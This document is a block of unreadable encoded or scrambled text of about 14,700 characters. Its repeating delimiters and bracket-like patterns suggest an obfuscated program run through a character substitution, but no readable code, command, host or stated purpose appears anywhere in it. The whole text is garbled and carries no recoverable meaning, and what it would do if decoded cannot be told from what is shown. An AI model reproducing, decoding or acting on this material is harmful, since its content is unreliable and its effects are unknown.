VGHNVKHOWR^NW^^D^^^NEt^ZGIN%KO	VKHLW#^^^^^^C^^^^^^VMKJLVKO	VKHLWR^^^^\\W^_CC^^^\\W^^A^^O^^D^NEtttt^^^^ZGIN%MHFKVKHMW#^^^^C^KO	VKLLWVKO	VKLOWW^^A^V
W^>
!
VGHNVKHJWR^^NW^^^^D^^^^^NEt^^ZGIN%J	VKHKW#^^C^^^KO	VKLLWVGHNVKLOWW^^^^^A^^^^^V
W^>
!
VMHFKVKHHWR^NW^^D^^NEt^^ZGIN%KO	VKHIW#^C^^^^MHFKVKLLWVM!VKLOWW^^A^V
W^>
!
VM!VKHFWR^^NW^D^^^^^NEt^ZII!N	GNL^C^^^^^J
J!	VWEt^^^^^^^^ZGIN%KO	VKHGW#^^^^^C^^>J	VOHOWVZII!N	GNL^^^^^P^^MHFKVKINWW^^^A^^^V	I	OKV>MHFKVKIOWVZII!N	GNL^^^^^^P^^J	VKINWR^^R^^R^^^^^NR^VFNGKUGIWWW^A^^L^D^^^OW^D^^^^NEZ
OM
!OCVNMKUNKKWEZJCZ
OM
!O[IEt^^^^ZGIN%GHNVKILW#^^^C^^^^^>M!VKIMWVZII!N	GNL^^P^^MHFKVKIJWW^A^^V	I	OKV>KO	VKIKWVZII!N	GNL^^^^P^^^^^MHFKVKIHWR^R^R^^NR^^VFOFNUOLWWW^^A^^^L^^D^^^OW^D^^NEtZGIN%J	VKIIW#^^^C^^>GHNVKIFWVZII!N	GNL^P^^^^J	VKIGWW^^^^A^V	I	OKV>J	VKFNWVZII!N	GNL^^P^MHFKVKIGWR^^R^^R^^^NR^VFOHJULFWWW^^A^L^^D^^^^OW^^^^^^D^^^^NEttt^Z
L	M^^^^^C^^^^KO	VKFOW^^^P^^^^^K!NGJ	V?<-.?*6^P^^YYR^^VOJSHWWEtttZHKM	^^C^^^^GHNVKFLW^^^P^^^^K!NGJ	V?<-.?*6^^^^P^YYR^VGSOWWEt^^^^ZGIN%M!VKFMW#^^^C^NEtttt^^^^^^^VVJOHMLKLVWR^^ZII!N	GNLR^?<-.?*6^^P^^^GHNVKFJWW^^^^ZJ
O	W^^t^^^V>MHFKVKIFWVZJ
O	^^^^^^P^YQY^^^P^^^^Z
L	M^^P^GHNVKFKWWW^^^ZGIN%KO	VKFMW#^^^C^^OEt^^^V>KO	VKIFWVZJ
O	^^P^^^^YQY^^^^P^^ZHKM	W^^^^XX^V
W^^^^>J	VKFHWVZJ
O	^^^^P^^YQY^^^P^ZHKM	W^^^@^MHFKVKJOWVW^^^^^S^^^^^VNOUNMWW^t^^ZGIN%J	VKFMW#^^C^^^^^LEtt^EZKIINHCFGGNEZL!!CZKIINH ONHEt^tttt^^^tQQ^
^

tt^
VZHKM	R^ZJ
O	WEttt^ZONJ^^^^C^^^^KO	VKLLWVJ	VJJGWW^A^^^^^>M!VJJGWVKO	VKFIWW^^D^Etttt^^^^^^^V_M!VKFFWVZONJW^^^ZONJ^^^CCC^^\\^^^^^^^^ZONJ^CCC^M!VKFGWW^ZONJ^^^^^C^^J	VKGNWEt^^ZGIN%M!VKGOW#^C^V>KO	VKIFWV?<-.?*6^P^ZONJW^^XX^M!VJNHWVV
W^>KO	VKFNWV?<-.?*6^^^^^P^ZONJWR^^^^MHFKVKGLWW^^_CC^^W^^A^^^O^^D^^^NEt^^^^ZGIN%KO	VKGMW#^^^^^C^V>J	VKIFWV?<-.?*6^^^^^P^^^^^J	VKGJWW^^XX^^^GHNVJNHWVV
W^^^^^>M!VKGKWV?<-.?*6^P^^^KO	VKGHWWR^^^J	VKGIWW^^_CC^^W^^^^A^^^O^D^^^NEt^^^^^^^ZGIN%MHFKVKGFW#^C^^^V>J	VKGGWV?<-.?*6^^P^^^^^J	VHNNWW^^^^^XX^MHFKVHNOWVV
W^^>J	VKGKWV?<-.?*6^^^P^^M!VHNNWR^^R^^^^^R^^^^NR^VHKJIMUHMWWR^^^MHFKVHNLWW^^^_CC^^W^A^^^O^^^^^D^^^NEtZGIN%M!VHNMW#^C^^VJ	VHNJWW^^^^^^A^^^^^O^^^^D^^NEt^^^^tt^^^ZGIN%MHFKVHNKW#^^^^C^VVJ	VHNHWW^^VJ	VHNIWW^^^VJ	VHNFWW^^^^^^^J	VKLLWVGHNVHNGWW^^^^^^^MHFKVHONWVJ	VHOOWW^^
VZ921<?2-%KO	VHOLW#W^^^KO	VKLLWVJ	VHOMWWW^^A^^^^O^D^^^NEt^ZGIN%M!VHOJW#^^^C^^^^V
W^^^^
!
VGHNVHOKWR^NWEt^^^^ZGIN%M!VHOHW#^C^^^V
W^^^
!
VKO	VKJNWR^^^NWEt^tt^ZGIN%J	VHOIW#^^^C^^V
W^
!
VGHNVKMJWR^^^^^NWEt^^^^^tt^^^ZJ
J!^^^^^C^^^^GMGHNGVKO	VHOFWR^^^^VWWEt^^^^ZIJK^^^C^^^^NEt^ZL
KJI	MI^^^^^C^NEt^^VM!VJIHWVZJ
J!WW^^^^^^ttt^^^^^^^^VZJ
J!^^^^^^ZLN	MFFLW^^t^^^^^VK
MMVZLN	MFFLW^^CCC^^^^^\\W^
Et^ZIJKUUEt^^ZNIG^^^C^^^M!VJIHWVZLN	MFFLW^A^^^^^V
W^^V
VZLN	MFFL%MHFKVHOGW#W^A^^^ZLN	MFFL%GHNVHLNW#^D^OW^^D^^OEt^^Z	LLFH^^C^^^^^^J	VHLOWVZLN	MFFLW^^^^^XX^
VZLN	MFFL%GHNVHLLW#W^^^A^^^^V
W^ZLN	MFFL%MHFKVHLLW#^^^^^^D^^NEt^^^^V_ZNIG^^^XX^^^V_Z	LLFH^^^Z	LLFH^^B^J	VHLMWVW^^S^^^VNOHUNMWWW^^^ZL
KJI	MIUUEttt^^tZGIN%GHNVHLJW#^^^C^^^ZIJKEt^ZGIN%KO	VHLKW#^^^^^^C^ZL
KJI	MIEtttt^^^^ZNJGOI^^C^^J	VKLLWVJ	VHLHWW^^A^^^^>
!
VGHNVHLIWR^\\W^^D^\\Ett^^^^^^^ZGIN%MHFKVHLFW#^^^C^^^^J	VKFFWVZNJGOIW^^^A^M!VJNLWVZNJGOIR^^NR^^^^^VNJUNOWW^D^^\\EtZLMNFG^^C^^GHNVHLGWVJ	VHLHWW^^^A^^>
!
VJ	VHMNWR^^^VWW^^^^D^^VWEt^ZGIN%M!VHMOW#^C^^^^^^VKO	VHLOWVZLMNFGW^XX^^V_
VZLMNFG%Y
Y#W^^^^^^_
VZLMNFG%M!VHMLW#WWW^^^A^O^D^NEt^^^^^^
^V*	^^ZMN!W^tttZGIN%MHFKVHMMW#^^C^^^MHFKVJNLWVZMN!S@
3VWR^^NR^^VFUKLWWEt^^^^
^V;
^^ZMN!W^Z
FC.6.!70*!3?&Q.6.!70*!3?&EZNIJCZ
FUJNEtZGIN%M!VHMMW#^^^^C^^^^^GHNVJNLWVZMN!S@
3VWR^^NR^VGF GJWWEttQQ^.6.^FPJ^D^^S		tt
^^^^^^ZGINEt^tttt^^^^^^t^
^^^^!M!!VWt^^tt^^^^^^^^VGHNVHMJWVJ	VJMHWWW^^^t
^^^^V
W^^^
!VJ	VHMKWWEt^^^tttt^^
^J	VHMJWVJ	VHMHWW^^^^A^V
W^	!!VW^^^D^^^\\Ettt^^^^tttt
^^^^^FK!G!NVZO
IHWt^^t^^^^^^^^Z!KI^^^^^^C^\\Et^^^^^^^^VKO	VHMJWVKO	VKOGWWW^^^ttt^^^^^^Z!KI^C^^^V
W^GHNVHMIWV!VWR^^^

VKO	VHMFWWWEttt^^^^t^^^^^^^^V_^Z!KI^^XX^^^^^GHNVHMJWVKO	VHMGWWW^^^^^t^^^Z!KI^C^^V
W^^^GHNVHMIWV
!
!VWR^

VJ	VHMFWWWEtttt^V_^^Z!KI^XX^^KO	VHMJWVKO	VHJNWWW^^tt^^Z!KI^^^C^V
W^^^GHNVHJOWV
!VGHNVHJLWWR^^

VM!VHJMWWWEt^^^^t^^^^^V_^^^^Z!KI^^^^^XX^J	VHJJWVJ	VHLHWWW^^tZ!KI^C^^^^^V
W^J	VHJOWVV
W^^^^^
!
VGHNVHJKWR^^\\WR^^

VJ	VHJMWWWEtt^^^V_^^^^Z!KI^^XX^
VZ!-;,(;,%M!VHJHW#WW^^^t^Z!KI^^C^^^V
W^^^^^Z!-;,(;,%GHNVHJHW#Et^^t^^^V_^^Z!KI^XX^^^^^^
VZ!-;,(;,%M!VHJIW#WW^^^t^Z!KI^^^^C^^^V
W^^^Z!-;,(;,%J	VHJFW#Et^^^t^^^^V_^^Z!KIW^^^t^
^^^ZO
IHEt^^^tQQ^.6.^
^^
^

tt
^Z!KIEt^^t^^
^^FJ	FMVWt^^^^^^tttt^^
^^t^^ZNHLGM^^C^GHNVHJJWVKO	VJJGWW^^^A^^V
W^>M!VJJGWVM!VHJGWW^^D^^^^^NEt^^^^^^^^VGHNVHJJWVGHNVJILWWW^^^>J	VJILWVVMOFSOMFWWEt^^ZO!LHJ	GL^^^^^^C^^VZNHLGM^^^@^VNUNIW^^^XX^ZNHLGM^^B^VNOUNMWW^^A^^VZNHLGM^^^S^^^^^VOIL OHHWW^D^^VVZNHLGM^@^^N^^^^^^XX^ZNHLGM^^^^^^BC^^^^^^VOIUMWW^^A^^VNGUNOW^^^^^D^VLMG OFOWWEt^^^^^^^^^V_^^^^KGKH	MVWW^^^^tQT^^
	S^TQtt^^^^^^
Et^t^^^^V_
LJM!!VJ	VJMOWWW^t
Ettttt^^t^^^ZMLFM!^^^^^^C^^GHNVJMGWV
WEtt^^^^ZLONM^^C^^^^H!H!VWEt^^^^^^^^Vtt_^^^^^^J	VHKNWVZLONMWt^^^_^^
VZLONM%J	VMIHW#W^^^^^_^^^^^KO	VKFFWVZLONM%J	VHKOW#W^^^_^^ZLONM%KO	VHKOW#t^^^^^_^^^^
VZLONM%M!VMFMW#W^^^^^^^_^^J	VHKLWVZLONM%GHNVMFMW#W^^^^^^
VZLONM%J	VMFMW#Wttt^^^W^^tKF

!NVWEt^^^^^
Ett^^^^^^Z	^^C^^^^^^ZLONM%MHFKVHKMW#Ett^^^ZF!K^^^^C^^^^ZLONM%MHFKVMFMW#Et^^FOGJMVJ	VMFOWR^^Z	R^J	VKLHWWEt^^^^^Z	OHK^^C^^J	VHJJWVJ	VHKJWW^A^^^V
W^^^^
!
VM!VHKKWR^^^^\\W^^^^D^^\\Et^^^^VZ	OHK^^_CC^^\\^^XX^^^^KO	VHKHWVZ	OHKR^ZF!KR^
WW^t^ZF!K^^^^C^^^^^MHFKVMFLWVKO	VLJJWVZF!KR^^^^^VZ	OHKWWWEt^^^^^^KO	VHKIWVZF!KWEt^GHNVMJHWVZF!KR^Z	OHKWEtt^^^^^^^^^^^^VGHNVOMFWVZF!KW^^^^^@^^^OW^^^^t^^^^^^J	VHKIWVZF!KWEt^^^^t^t^^^^^^^^^VVMHFKVHKFWV
W^^^^^S^^ZMLFM!W^^^^@^^^^^V
W^VZO!LHJ	GL^^^^T^NPHWW^tt^KF

!NVWEt
Et^t^^^t^^Z!
GFK^^^^C^^
L!KKKIVWEt^^^^	NJNLI
	VZ!
GFKWEt^t^Z^C^VWEt^^^^^^VM!VHJJWVJ	VHKJWWW^^^t^^^^^^VVW^
!
VKO	VHKGWR^VWW^^ZHKHJHFW^^^^t^^VMHFKVKFFWVZHKHJHFW^XX^^^^ZHKHJHFW^ZG
CLNUMEZOCZG
SJEt^Z%#^^^^C^ZHKHJHFEt^t^^^t^^^tQQ^,
^
S
D^
^

S
ttttt^^tZML^^^C^^VWEttt^^^^^^^VVJ	VHHNWWW^tZ	!MO^^^C^J	VHHOWVMHFKVHHLWW^^A^^^>KO	VHHMWVJ	VJNNWV).3+!.2+970!:7,R^^^YQYW^^P^^GHNVHHJWW^^^^D^Et^^^^^VGHNVHKLWVZ	!MOWW^^^^^t^^^^^VZ	!MO^^^^ZNW^t^^ZML%#^^^C^^^M!VLOGWVZNWEttt^tttt^^^^ttt^tttt^^^^t^^ZI	HG^^^^C^^^^Vt^^^^^^^GHNVHHKW^^^^C@^^^^^^FK!G!NV\\WRtt^^^GHNVHHHW^C@^^^^MFKKIO
VWRtKO	VHHIW^C@^M!VHHFWVK		HK!	VWR^^GHNVHHGWWRt^^^^^^J	VHINW^^C@^KO	VJNNWV?<-.?*6R^^^^^KO	VONNWWRt^GHNVHIOW^C@^^^ZRt^^^^J	VHILW^^C@^^^ZMLRt^GHNVHIMW^C@^!M!!VWRtJ	VHIJW^^^^^C@^^HH!IVZ!
GFKWRt^M!VHIKW^^^^^^C@^^!GLHM!H	LVZ!
GFKWRt^^^^^M!VJONW^C@^^^VZMKN^C^
F!INVWWRt^^^^^^^t^^^^^^WEt^ZLK	M!I^C^MHFKVHIHWVJ	VHIIWW^^^A^	!!VZI	HGW^^^D^^^KO	VHIFWVZI	HGWEttt^^ZM
NHO!^^^^C^OIJJVZLK	M!IR^Z	WEtZGJK!M
G^^^^C^VGHNVHIGW^^C@^^^^^^J	VHFNWWEt^^^Z
	^^^C^^^Et^^^^^^^KF

!NVWEttt^^^^^^^t^^^^^^VZF!K^^^^^^^ZK	!
!W^t^t^^^VVM!VHFOWV
W^S^ZMLFM!W^^@^ZO!LHJ	GLW^^tt^^^^Et^t^^tZK	!
!^C^GHNVKKMWVV
W^^^^ZK	!
!WEt^^^^V_^^^^ZK	!
!W^^t^
Et^ttt^^
^t^^Z
N^^^^C^Z	Et^^^ZNMF	^^C^^KL!M!OVZK	!
!R^^^ZM
NHO!R^^ZGJK!M
GR^^VLUFWR^^
^^^^^^VZ	I!W^^^VZ
NW^^^tZGIN^^^^^C^^^OIJJVZ	I!R^Z
NWEt^^^^^V_ZGINW^^^^
^Et^^^
^^MHFKVHKLWV>J	VMKHWVGHNVKKMWVZGINWR^^^^
WWEtWEt^^^^V_^ZNMF	W^^t!LNLVGHNVJHIWR^^^^MHFKVHFLW^P^^ZK	!
!WEt^^^^^^^
Et^^ttt^^t^^^ZLON^C^OIJJVZNMF	R^^^Z	WEt^^^V_^^^^ZLONW^^^^^^t^!LNLVJ	VJHIWR^M!VHFMW^^^P^^^ZK	!
!WEtttt^^^^^
Et^^t^^Z
	^^^C^^>MHFKVMKHWVKO	VKKMWVZLONWR^
WEt^^^^^VMHFKVHKLWVZ
	WW^^t^^^^^^^^^^VKO	VHIHWVGHNVKLMWWW^t
!
VMHFKVHKKWR^^^^^ZK	!
!WEttt^^^^^^t^^^^^Ett^^^^^^^^t^^^!LNLVKO	VJHIWR^MHFKVHFJW^P^^^ZK	!
!WEttt^^^
^^^V*	^^^ZMN!W^^^^^t^!LNLVJ	VHFKWR^^^ZMN!WEt^^^^^
Et^^^^
^^^V;
^^^^ZMN!W^tQQ^).^:
^2D^
S^

tt^
Et^^^^^t^^^t^V_^^^^J	VHKLWVZ
	WW^^^ttt^ZKO	^^C^OIJJVKO	VHIFWVVttM!VHHKW^^C@^^FK!G!NV\\WRt^^^MHFKVHHHW^^C@^MFKKIO
VWRt^GHNVHHIW^^^^^^C@^M!VHFHWVK		HK!	VWR^^J	VHFIWWRtttKO	VHFFW^^^^C@^^^^^ORtttt^^^^WWR^^^Z	WEtZIIJONFI!K^C^M!VJNNWV

VKO	VMGNWVZKO	WR^M!VHFGWR^GHNVHGNWWR^^YCYWEt^^^Z
GMM^C^J	VHGOWVZIIJONFI!KR^^^VINGUHGOWWEt^tt^^^^VZF!K^^^^ZK	!
!W^^^^^t^^^^^^VVGHNVHGLWV
W^S^^^^^ZMLFM!W^@^^^^ZO!LHJ	GLW^^^^^t^^^^^^Et^tttt^^^^^ZK	!
!^^^^C^MHFKVKKMWVV
W^^ZK	!
!WEt^^VZK	!
!^^^CCC^^^^^\\W^t^^^
Ettttt^^ZNHHM!G		O^^^C^K!NGJ	VFK!G!NV\\W^^^^^P^^^J	VHGLWV
WR^^^VMUKWWEtZ!!KFIHI!LH^^C^^^^KO	VHGMWVZ
GMMWEtZLHK
G^^C^^^VMHFKVHNOWVZK	!
!R^YAYW^^^CCC^^W^^^^^A^YAY^^D^^^^YXYEt^VZOLHKG^^^^^C^^NE^^^^ZOLHKG^^B^^Z!!KFIHI!LHE^^^ZOLHKGUUW^^t^^VVM!VHGLWV
W^^^^^S^^^^ZMLFM!W^^@^^^^ZO!LHJ	GLW^^^t^Ettt^t^^Z	MHIJI^^^C^^VZOLHKG^CCC^^^^Z!!KFIHI!LH^^S^OWEt^^^ZMHMM^^C^ZK	!
!^^P^^ZLHK
G^^^^^P^^J	VHGJW^^^^^^P^ZNHHM!G		O^^P^J	VHGKW^^P^^^ZOLHKG^^P^^^M!VHGHW^^^P^^^^^^Z!!KFIHI!LH^^^^P^^^^^J	VHGIW^P^^^^Z
GMM%ZOLHKG#Et^Z!			FNH^^C^!OIVZMHMMR^^^VKUMWR^Z	MHIJI^A^^^
^^^VZ	I!W^^^^VZ	W^^t^^ZGIN^^^C^^^^OIJJVZ	I!R^^^Z	WEt^^^V_ZGINW^^^^
^^^^^Et
^^^KO	VHKLWV>MHFKVHGFWVKO	VHGGWVZGINWR^^^
WWEt^^^^D^^WEt^^^^VZ	MHIJI^^XX^^M!VKFFWVZ!			FNHW^^XX^Z!			FNH^_CC^^\\W^^t^Z!^^^^^C^^OIJJVZ!			FNHR^^Z	WEtZ
L	M^C^Z!^A^>GHNVHGFWVGHNVINNWVZ!WR^
W^^D^^Et^^VJ	VHKLWVZ
L	MWW^tZ
	^^C^^^Z
L	MEt^^VGHNVHIHWVGHNVKLMWWW^^^Z	H!FLNCGMTIEZ	M	CZ	H!FLNSOGEt^
!
VKO	VINOWR^^ZK	!
!WEt^^^^t^^^^^^Etttt^^^^t^^^^t^^^^t^^^^^VM!VHKLWVZ
	WW^^tttt^^^^^^^^Ett^^^t^^t^^^^^^V_^MHFKVHKLWVZ
	WW^t
Et^t^^^^^^VZMKN^^^XX^^^^^^J	VHIHWVM!VINLWWW^^tQT^

S
^
S
^TQtt^
!
VN	JLFJFF
MVKO	VINMWWWEt^t^^^^^^^V_
VZ921<?2-%KO	VJNGW#W^^^_M!VHKLWVZ921<?2-%MHFKVINJW#WW^^Z921<?2-%GHNVINKW#^^^^C^VWEttZ921<?2-%M!VINKW#^^C^^J	VMFLWVGHNVLJJWVZ921<?2-%MHFKVINKW#R^^^ZMKNWWEt^^^V
VZ
	%M!VHHIW#W^^XX^GHNVKFFWVZ
	%KO	VHHIW#WW^t^^^HNFLHGJVZ
	%KO	VHHIW#R^^
VZ
	%MHFKVINHW#W^^^XX^^^^GHNVKFFWVZ
	%KO	VINIW#W^A^^^^Z
	%KO	VINIW#^^D^^\\R^^_
VZ
	%KO	VINFW#WWEt^^^tttt^t^^Z	
HH^^^^C^^^^Etttt^^^^^^ZGJMGHF^C^VWEt^^^t^^^^^^^^V
VZ
	%J	VINGW#W^^^XX^^^^KO	VHKLWVZ
	%J	VINGW#WW^^^ttttZ	IJN^^C^^VWEtt^^^VZ
	%KO	VINGW#^^^^^^ZJGKFGKMW^^t^^VM!VKFFWVZJGKFGKMW^^XX^ZJGKFGKM^^^^_CC^\\W^^t^^^^^Z	IJN%#^^C^^ZJGKFGKMEt^^^^^^^^tttt^^^tZFJN^^C^^^^Z921<?2-%MHFKVIONW#EZFGHC.6.!3?41,!(;,-710EZGFJJCZFGHTONEt^Z	IJN^^C^JGJ
VZ	IJNWEZNKLLIHFC.6.!70*!3?&Q.6.!70*!3?&EZGHCZNKLLIHFUHMEt^^^Z921<?2-%KO	VIOOW#^^C^^^^^^Z	IJNEt^ZGJMGHF%GHNVINGW#^^^^C^^Z	IJNEt^^^V_^
VMHFKVLJJWVZ	IJNR^ZFJNWW^^^^^^_^
VJ	VIOLWVZFJNR^Z	IJNWWW^^t^Z	
HH^^C^
Et^^t^tQQ^).^,^-
D^S^
tt^^^^^t^^^^V
VZ
	%M!VIOMW#W^XX^M!VHKLWVZ
	%J	VIOJW#WW^t^^^^^^^Z	IJN^C^VWEt^^^^^^^t^^^^^^^VZ
	%GHNVIOKW#^^^^^ZJGKFGKMW^^tQQ^).^:
^3D^^S
tt^^^^VM!VKFFWVZJGKFGKMW^^XX^^ZJGKFGKM^^^_CC^\\W^Z
I	INCKHIOEZ	HIIJCZ
I	IN[GEtt^^Z	IJN%#^^^C^ZJGKFGKMEZ!JHKC.6.!70*!3?&Q.6.!70*!3?&EZGNCZ!JHKULOEt^ttZFJN^C^^Z921<?2-%KO	VJFNW#Et^Z	IJN^^C^^^^JGJ
VZ	IJNWEtZ921<?2-%GHNVJFNW#^^C^^^Z	IJNEt^^^^ZGJMGHF%M!VIOKW#^C^Z	IJNEt^^V_^^
VGHNVIOLWVZ	IJNR^ZFJNWW^^^^_^^^
VMHFKVIOHWVZFJNR^Z	IJNWWW^^^tZ	
HH^^^^C^^^^
Et^^^t^t^^^^^^V
VZ
	%MHFKVIOIW#W^^^XX^M!VIOFWVZ
	%GHNVIOIW#WW^^^^^tt^ZLG

F^^^^^C^^^^MKJLVM!VIOGWR^\\WEt^Z921<?2-%GHNVILNW#^^^^^C^Z
	%GHNVIOIW#Et^ZGJMGHF%J	VIOIW#^^^C^^^Z
	%GHNVILOW#Et^^^^^VM!VOFKWVZ
	%J	VILOW#W^^^^_CC^^^^KO	VOFKWVZLG

FWW^^^tttt^^FOGJMVMHFKVIOGWR^^^Z
	%M!VILLW#R^^^^^KO	VKLHWWEttt^^^^OMJI	KOVWEtt^t^^
VZLG

FWEttt^^^^^^ttt^ZJI	^C^
VZ
	%J	VJGOW#W^XX^^KO	VHKLWVZ
	%MHFKVJGOW#W^^A^^^Z
	%J	VILMW#^D^VWEt^^^^^^^^V
VZJI	%MHFKVJFJW#W^^^^XX^GHNVILJWVZJI	%M!VILKW#WW^^^tQQ^
^
^^).^?^*
tt^^VM!VJOFWVZJI	%KO	VILKW#W^@^^^^^VNOHUNOWW^^t^Z921<?2-%KO	VJFHW#^^^^^C^ZJI	%M!VILKW#Et^ZGJMGHF%GHNVILHW#^^C^^ZJI	%J	VILIW#Ett^^^^^^^^t^^^^Z921<?2-%MHFKVJFHW#^^C^^^\\Et^^^^ZGJMGHF%GHNVILFW#^^^C^\\Et^^^^^FOGJMVGHNVILGWR^^\\R^^^^^GHNVKLHWWEt^^t^^^^^^^t^^^^^^^^^V
VZJI	%KO	VIMNW#W^^XX^^^^MHFKVIMOWVZJI	%MHFKVIMNW#WW^^^^t^^^^^^VM!VJOFWVZJI	%GHNVIMNW#W^^^^@^^VGJ KFWW^tt^Z921<?2-%J	VJGNW#^^C^^^ZJI	%MHFKVIMNW#EtZGJMGHF%MHFKVIMNW#^^^C^^^^ZJI	%GHNVIMNW#Ett^^^^^^^^^t^^^^^^^Z921<?2-%MHFKVJGNW#^C^^^^\\Et^ZGJMGHF%M!VIMNW#^^C^^^^\\EttttFOGJMVGHNVIMLWR^\\R^^J	VKLHWWEt^tt^Z	LLMHM!^^C^^^^^
VZ
	%MHFKVIMMW#W^XX^^^^^KO	VHKLWVZ
	%MHFKVIMMW#W^^^A^^Z
	%J	VIMJW#^^D^^^^^VWEtZFM!IG^^^C^^^Vt^^^^J	VIMKW^^C@^^M!VIMKWRt^MHFKVIMHW^C@^M!VIMIWRtttt^^^GHNVIMFW^C@^^MHFKVIMGWRtGHNVIJNW^^C@^^KO	VIJOWRt^^^^^M!VIJLW^^^^^C@^M!VIJMWRttt^^^J	VIJJW^^C@^MHFKVIJKWRt^^GHNVIJHW^^^C@^^M!VIJIWRt^^M!VIJFW^^^^C@^M!VIJGWRtt^WEt^^^VZFM!IG^^ZNMHFNM^^^C@^^^^ZFJLI
W^^^^t^V
VZ	LLMHM!%ZNMHFNM#W^^XX^MHFKVIKNWVZ	LLMHM!%ZNMHFNM#W^^XX^^KO	VIKOWVZ	LLMHM!%ZNMHFNM#W^^@^VHJSOJWW^^^^tZGJMGHF%ZFJLI
#^^^^C^^^^Z	LLMHM!%ZNMHFNM#Et^^^t^^^tQQ^
^
ttttt^V
VZ
	%KO	VKMLW#W^^^^^XX^^^^GHNVIKLWVZ
	%M!VIKMW#WW^^t^^Z	LJGF^^^^C^^^^^^V
W^^^Z
	%MHFKVIKJW#Etttt^^^VZ	LJGF^^@C^^^VLMOUHGW^^^XX^^^Z	LJGF^^BC^VFHMIMULIWW^^^^^ZGJMGHF%M!VIKKW#^^C^Z	LJGFEtt^^^tQQ^).^/^2D^
^

tt^^^^V
VZ
	%KO	VIKHW#W^^XX^^^^M!VIKLWVZ
	%J	VIKHW#WW^^^tZ!^^^C^^V
W^^Z
	%MHFKVIKIW#Et^^^^^VZ!^^@C^^VLOGUFOW^XX^^^Z!^BC^^VOOFFIGSMLJIGWW^ZGJMGHF%M!VIKFW#^^^^^^C^Z!Et^^^tQQ^).^0
^<^
^ttttt^^^^^^V
VZGJMGHFWW^^t
!
VJ	VKMJWWEt^^^
!
VM!VIKGWWEt^
!
VMHFKVHOKWR^^^^MHFKVIHNWVWWEt^
!

VGHNVIHOWWEtGMJMMO!VWEt^^^^^^GKNIO	MVWEt
Et^^^^t^tZI^C^^^NLIHGJ	VJ	VJOGWR^^^^WEt^^^^^^^VKO	VIHLWVZIWW^^^^^tZGJMGHF^C^J	VJOJWVZIR^ZGJMGHFWEt^^^^t^^^^^^tt^^^^^^VKO	VHIHWVMHFKVKNFWWW^t^ZFKFJO^^C^LM	LJLK!JVWEt^^V
VZGJMGHF%KO	VIKKW#W^^XX^V
W^^^ZGJMGHF%M!VIKKW#^^^@C^VNMUNW^^^^XX^^V
W^^^^ZGJMGHF%M!VIKKW#^^^^^BC^^^^^^VJHJHLUMGGMFWW^^ZFKFJO^C^V
W^^ZGJMGHF%MHFKVIKKW#Et
!

VNLGM
MIJ
KVWR^^^ZGJMGHFR^^^ZFKFJOWEt^^^^t^^^^^^t^N	INGLVM!VJOGWR^^^^^ZGJMGHFR^MHFKVKLHWWEt^^^^V
VZGJMGHF%J	VIKFW#W^^XX^^J	VIHMWVJ	VIHJWW^^^^XX^^M!VIHMWVKO	VIHKWW^^^^^XX^KO	VIHMWVM!VJMNWWW^^ttt^^^^^^Z	K^^^C^	!
!!
VI
HM	GLVWWEtttt^^^^^^^^VZ	K^^^^^XX^V
W^^^Z	KS@
^_CC^V
W^ZGJMGHF%J	VIHHW#W^^t^^	!!!VI
HM	GLVWWEt^^^^^^^^	!!
VKO	VIHNWVW^U^KO	VKMFWVVNOUNOWR^^^^VNIKUNIWWR^^^^J	VIHIWR^^^^^I
HM	GLVWWEtt^^^tttt^^^^^^
!
VM!VHOKWR^^GHNVIHNWVWWEt^
!
VM!VKMJWWEt^
!
VMHFKVIKGWWEt^^
!

VKO	VIHFWWEtGMJMMO!VWEttGKNIO	MVWEt^^^^^ttt^^^^^^^^^VZ	
HHW^tNL!GHKVWEt^^^^t^^
^V*	^^^ZMN!W^^ttt^^^!LNLVGHNVJHIWR^^^ZMN!WEt^^^^^^^^^
^^^V;
^^^^ZMN!W^^^^^tQT^^

^TQttt^^t^^M
G	FFLIVKO	VIHGWWEt^^^^tttt^
^^HNFLHGJVZH
KJM!!R^^^Z
IK	^^^C^\\R^^^^^Z
HGO^C^Wt^^t^^^^V_
LJM!!VMHFKVIHGWWW^^^^
Et^
^^t^^^^^^^^ttZHIH!^C^>M!VIINWVZH
KJM!!R^^^^
WEttt^^^^^VJ	VIKNWVZHIH!W^^XX^^MHFKVIKOWVZHIH!W^@^^VONJFKNNUIHWW^^^^^ZHIH!^^^C^^!ML!JNGNVZHIH!WEt^^^^^^V_^^ZHIH!^^^MHFKVIKOWVZHIH!W^B^^^^VJLNUFNW^^^^^M!VHNOWVZHIH!R^^^^KO	VIIOWW^^^^^^_CC^^NW^t
Et^^^t^^^V_^^^JKOOFVZHIH!WW^^t^!LNLVM!VIILWR^^^KO	VIIMWWEt^^^^
Et^t^^^VMHFKVFNWVKO	VLLJWR^^^^MHFKVIIJWVZHIH!R^^NR^VJNHNUMHWWR^Z!HWW^^^^t^^^^^VZ
IK	^^_CC^\\^XX^^^^Z
IK	^_CC^Z!H%O#W^t^^^^^!LNLVJ	VIILWR^J	VIIKWWEt
Etttt^^^^^^Z
IK	^^^C^^^^^Z!H%O#Et^^^^^^^^^^^t!LNLVMHFKVIIHWR^^KO	VIIIWWEtt^^^^^
Ett^^V_Z
HGO^^XX^!VZ
IK	R^^MFKKIO
VWW^^^BC^^^NW^t^^
Et^^^^^t^Z
N	^^^^^C^^FNGNVWEt^^^^V_Z
N	^^^M!VIKOWVZ
N	W^^^^B^^VNOOUNOMWW^^tttt^^!LNLVM!VIIHWR^MHFKVIIFWWEt^^
Et^^tZNFNFJG
^C^
!
VM!VOGNWWEt^^^^VKO	VIKNWVZNFNFJG
W^^^^XX^MHFKVHNOWVZNFNFJG
R^^^MHFKVOFKWVZHIH!W^^P^^^YYW^^^^CCC^^NW^^tZII	N^C^^^^V
W^MHFKVIIJWVZNFNFJG
R^^^M!VHNOWVZNFNFJG
R^^^^^YYW^^^^^U^OWEt^^^^^VM!VIHNWVW^^^S^ZII	N^^^^B^^VFHMFHUOJWW^^t
Et^^t^t^^^Z
L^^^C^MHFKVLNHWVK		HK!	VWW^^P^^M!VOFIW^P^^^^^^J	VIIGWVZHIH!WEt^^^^^V>GHNVKGGWVZ
LWW^^t^Z
	L^^C^^>V
W^MHFKVKFHWVZ
LWEt^^^^^VZ
	L^^XX^^^^GHNVIHNWVW^^S^^^Z
	L^B^VGKGJFSGKJFWW^^^^ttt^^^
Et^t>M!VIFNWVZ
LWEt^t^^^^^
VZ
LR^^Z
	LWEtZK!NL
